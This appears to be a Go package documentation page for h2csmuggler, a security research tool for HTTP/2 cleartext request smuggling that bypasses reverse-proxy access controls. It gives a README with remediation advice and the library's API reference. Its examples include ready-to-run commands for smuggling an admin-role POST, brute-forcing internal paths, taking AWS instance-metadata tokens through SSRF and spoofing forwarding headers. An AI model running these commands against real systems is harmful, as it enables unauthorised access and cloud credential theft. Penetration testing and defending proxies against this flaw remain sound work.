h2csmuggler

package module
v0.0.0-...-bf23437 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Sep 25, 2020 License: MIT Imports: 12 Imported by: 0

README

h2cSmuggler

License Python version

Tl;dr

this repo is forked from https://github.com/BishopFox/h2csmuggler and includes the original research with modifications.

this repo also implements a golang library for performing h2c smuggling. This was done via forking the net/http2 library and modifying the client to accept and process non-spec compliant h2c upgrades over tls connections. This can also handle h2c upgrades over http.

Two utilities have been added to assist testing:

# check will return whether a h2c connection can be formed and the first request will return
go run ./cmd/h2csmuggler check https://google.com/ http://localhost

# smuggle will attempt the cli arguments as URLs sequentially
go run ./cmd/h2csmuggler smuggle https://google.com/ https://google.com/flag

# demo will create a http server that accepts non-complaint `Connection: Upgrade` connections and upgrade them to h2c for testing
go run ./cmd/demo

$ cat ~/tools/lists/rafter.txt | head -n 10 | ./h2cs mutate pitchfork http://localhost - -p api | ./h2cs smuggle http://localhost - -ojson
{"body":38,"level":"info","msg":"success","status":200,"target":"http://localhost/javsacript/main.js","time":"2020-09-16T12:43:05+10:00"}
{"body":39,"level":"info","msg":"success","status":200,"target":"http://localhost/javascripts/main.js","time":"2020-09-16T12:43:05+10:00"}
{"body":24,"level":"info","msg":"success","status":200,"target":"http://localhost/.git","time":"2020-09-16T12:43:05+10:00"}
{"body":28,"level":"info","msg":"success","status":200,"target":"http://localhost/api/_rpc","time":"2020-09-16T12:43:05+10:00"}
{"body":34,"level":"info","msg":"success","status":200,"target":"http://localhost/api/csrf-token","time":"2020-09-16T12:43:05+10:00"}
{"body":27,"level":"info","msg":"success","status":200,"target":"http://localhost/cgi-bin","time":"2020-09-16T12:43:05+10:00"}
<snip>

todo

  • Add concurrency to h2csmuggler
  • ensure that concurrent "first" calls to Conn are threadsafe
  • Accept stdin/file input for check and smuggle

Description

h2cSmuggler smuggles HTTP traffic past insecure edge-server proxy_pass configurations by establishing HTTP/2 cleartext (h2c) communications with h2c-compatible back-end servers, allowing a bypass of proxy rules and access controls.

See my detailed write-up below for:

  • Technical breakdown of the vulnerability
  • Insecure-by-default services
  • Remediation guidance

Here: https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c

How to test?

Any proxy endpoint that forwards h2c upgrade headers can be affected. Because h2c is intended to be performed only on cleartext channels, detection on HTTPS services often yields true positives.

By contrast, HTTP services may result in false positives. For example, h2c-enabled proxies may respond to the upgrade instead of forwarding it to an h2c back end.

Use the --scan-list option to test one or more web servers to look for affected proxy_pass endpoints. Consider using a list of directories discovered from directory enumeration, such as:

urls.txt

https://www.example.com/
https://www.example.com/api/
https://www.example.com/auth/
https://www.example.com/admin/
https://www.example.com/payments/
...omitted for brevity...

Run h2cSmuggler with the list of endpoints and a total number of threads:

./h2csmuggler.py --scan-list urls.txt --threads 5

Or, an individual test can be performed with:

./h2csmuggler.py -x https://www.example.com/api/ --test

Exploitation

Once you have identified an affected endpoint that can be used for tunneling, you can now access or brute-force internal endpoints on the back-end server and provide custom verbs or headers. In the demo below, we demonstrate accessing an internal /flag endpoint by using h2c smuggling to bypass proxy deny rules.

To remediate, do not forward user-supplied values for Upgrade or Connection headers. See the technical post for additional guidance.

Install Instructions

The only dependency is the Python hyper-h2 library:

pip3 install h2
Test Environment and Demo

The test environment will allow you to experiment with h2cSmuggler in a controlled environment. docker-compose will simulate three chains of proxies that lead to an h2c-enabled Golang back end:

TCP port: Description
========  ===========
8000:     HTTP h2c backend
8001:     HAProxy -> h2c backend (Insecure default configuration)
8002:     nginx -> h2c backend  (Insecure custom configuration)
8003:     Nuster -> HAProxy -> h2c backend (Insecure configuration with multiple layers of proxies)

[1] Generate Certificates and spin up the environment with docker-compose:

# Generate certs
./configs/generate-certificates.sh

# Activate services
docker-compose up

All of the proxies deny access to the /flag endpoint accessible on the h2c back end. Let's attempt to access the forbidden endpoint via the HAProxy server running on port 8001:

We can use h2cSmuggler to confirm the proxy's insecure configuration using --test (or -t):

Now, let's use h2cSmuggler to perform an h2c upgrade, tunnel our HTTP/2 traffic through the proxy, and request the /flag endpoint from the back end, bypassing the proxy's access control:

For a deeper explanation of what is happening, check out the technical writeup.

Usage

h2cSmuggler uses a familiar curl-like syntax for describing the smuggled request:

usage: h2csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v]
                      [url]

Detect and exploit insecure forwarding of h2c upgrades.

positional arguments:
  url

optional arguments:
  -h, --help            show this help message and exit
  --scan-list SCAN_LIST
                        list of URLs for scanning
  --threads THREADS     # of threads (for use with --scan-list)
  --upgrade-only        drop HTTP2-Settings from outgoing Connection header
  -x PROXY, --proxy PROXY
                        proxy server to try to bypass
  -i WORDLIST, --wordlist WORDLIST
                        list of paths to bruteforce
  -X REQUEST, --request REQUEST
                        smuggled verb
  -d DATA, --data DATA  smuggled data
  -H HEADER, --header HEADER
                        smuggled headers
  -m MAX_TIME, --max-time MAX_TIME
                        socket timeout in seconds (type: float; default 10)
  -t, --test            test a single proxy server
  -v, --verbose
Examples

1. Scanning a list of URLs (e.g., https://example.com:443/api/, https://example.com:443/payments, https://sub.example.com:443/) to identify proxy_pass endpoints that are susceptible to smuggling (be careful with thread counts when testing a single server):

./h2csmuggler.py --scan-list urls.txt --threads 5

2. Sending a smuggled POST request past https://edgeserver to an internal endpoint:

./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions

3. Brute-forcing internal endpoints (using HTTP/2 multiplexing), where dirs.txt represents a list of paths (e.g., /api/, /admin/).

/h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/

4. Exploiting Host header SSRF over h2c smuggling (e.g., AWS metadata IMDSv2):

Retrieving the token:

./h2csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`

Transmitting the token:

./h2csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/

5. Spoofing an IP address with the X-Forwarded-For header to access an internal dashboard:

./h2csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard
FAQ

Q: Why are there multiple responses from the server?

A: The first response is the data response to the original upgrade request initiated in HTTP/1.1, per the h2c upgrade protocol. The following responses are from the smuggled request.

Q: I received a "101 Switching Protocols" but I'm not receiving any data from the remote server.

A: I observed this behavior in my tests and found that some servers respond with a 101 status even if they do not actually support HTTP/2.

Q: Is establishing an h2c tunnel always a vulnerability?

A: No. Consider a TLS-terminating TCP load balancer (e.g., ELB) proxying directly to an h2c-compatible back end. Although you may be able to establish an h2c connection, if there are no access controls being enforced, then there are no access controls to bypass, or privilege gained by initiating this tunnel.

Q: Why does the smuggled request URI require a scheme? What is it used for?

A: The HTTP/2 protocol requires a :scheme psuedo-header. For our use case, http vs. https likely doesn't matter. For more details, see HTTP/2 RFC: Section 8.1.2.3.

Q: What should I use as the hostname for the back-end server?

A: It's best to start with the same hostname as the edge server. Next, try experimenting with alternative hostname values.

Author

Twitter: @theBumbleSec

GitHub: the-bumble

Documentation

Index

Constants

This section is empty.

Variables

View Source
var (
	DefaultDialer = &net.Dialer{
		Timeout: time.Millisecond * time.Duration(5000),
		Resolver: &net.Resolver{
			PreferGo: true,
			Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
				d := net.Dialer{
					Timeout: time.Millisecond * time.Duration(5000),
				}
				return d.DialContext(ctx, "udp", "1.1.1.1:53")
			},
		},
	}
	DefaultTransport = &http2.Transport{
		AllowHTTP: true,
	}
)
View Source
var (
	DefaultConnectionHeader    = "Upgrade, HTTP2-Settings"
	DefaultUpgradeHeader       = "h2c"
	DefaultHTTP2SettingsHeader = "AAMAAABkAARAAAAAAAIAAAAA"
)
View Source
var (
	ErrUnexpectedScheme = errors.New("Unexpected scheme for connection")
)

Functions

func CreateConn

func CreateConn(t *url.URL, dialer *net.Dialer) (ret net.Conn, err error)

CreateConn will create a net.Conn from the URL. This will choose between a tls and a normal tcp connection based on the url scheme

Types

type Conn

type Conn struct {
	// contains filtered or unexported fields
}

Conn encapsulates all the state needed to perform a request over h2c. Internally, this is a singlethreaded connection. Functions can be called concurrently, however they will block on the same thread. For concurrent connections, multiple Conns should be instantiated Initialization of the connection is lazily performed to allow for the caller to customise the request used to upgrade the connection Instantiating a Conn should be done via Client

func NewConn

func NewConn(target string, opts ...ConnectionOption) (*Conn, error)

NewConn will return an unitialized h2csmuggler connection. The first will Do will initialize the connection and perform the upgrade. Target must be a parsable url including protocol e.g. https://google.com path and port will be inferred if not provided (443:https and 80:http) Initialization of the connection is lazily performed to allow for the caller to customise the request used to upgrade the connection

func (*Conn) Close

func (c *Conn) Close()

Close will close the underlying connections. After this is called, the struct is no longer safe to use

func (*Conn) Do

func (c *Conn) Do(req *http.Request) (*http.Response, error)

func (*Conn) DoUpgrade

func (c *Conn) DoUpgrade(req *http.Request, opts ...UpgradeOption) (*http.Response, error)

DoUpgrade will perform the request and upgrade the connection to http2 h2c. DoUpgrade can only be successfully called once. If called a second time, this will raise an error If unsuccessfully called, it can be called again, however its likely the same connection error will be returned (e.g. timeout, HTTP2 not supported etc...) The provided request will have the following headers added to ensure the upgrade occurs. Upgrade: h2c HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA Connection: Upgrade These can be modified with the upgrade options however this may result in an unsuccessful connection TODO: make this threadsafe.

func (*Conn) Initialized

func (c *Conn) Initialized() bool

Initialized will return whether this connection has been initialized already

type ConnectionOption

type ConnectionOption func(c *Conn)

func ConnectionDialer

func ConnectionDialer(t *net.Dialer) ConnectionOption

func ConnectionMaxRetries

func ConnectionMaxRetries(v int) ConnectionOption

func ConnectionTransport

func ConnectionTransport(t *http2.Transport) ConnectionOption

type UpgradeOption

type UpgradeOption func(o *UpgradeOptions)

UpgradeOption provides manipulation of the initial upgrade request

func DisableConnectionHeader

func DisableConnectionHeader(val bool) UpgradeOption

func DisableHTTP2SettingsHeader

func DisableHTTP2SettingsHeader(val bool) UpgradeOption

func DisableUpgradeHeader

func DisableUpgradeHeader(val bool) UpgradeOption

func SetConnectionHeader

func SetConnectionHeader(val string) UpgradeOption

func SetHTTP2SettingsHeader

func SetHTTP2SettingsHeader(val string) UpgradeOption

func SetUpgradeHeader

func SetUpgradeHeader(val string) UpgradeOption

type UpgradeOptions

type UpgradeOptions struct {
	ConnectionHeader    string
	HTTP2SettingsHeader string
	UpgradeHeader       string

	ConnectionHeaderDisabled    bool
	HTTP2SettingsHeaderDisabled bool
	UpgradeHeaderDisabled       bool
}

UpgradeOptions provide manual overrides for the specific headers needed to upgrade the connection to h2c. Fiddling with these may result in an unsuccessful connection

Directories

Path Synopsis
cmd
Package h2c implements the unencrypted "h2c" form of HTTP/2.
Package h2c implements the unencrypted "h2c" form of HTTP/2.
Package http2 implements the HTTP/2 protocol.
Package http2 implements the HTTP/2 protocol.
h2c
Package h2c implements the unencrypted "h2c" form of HTTP/2.
Package h2c implements the unencrypted "h2c" form of HTTP/2.
h2i
The h2i command is an interactive HTTP/2 console.
The h2i command is an interactive HTTP/2 console.
hpack
Package hpack implements HPACK, a compression format for efficiently representing HTTP header fields in the context of HTTP/2.
Package hpack implements HPACK, a compression format for efficiently representing HTTP header fields in the context of HTTP/2.
internal

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL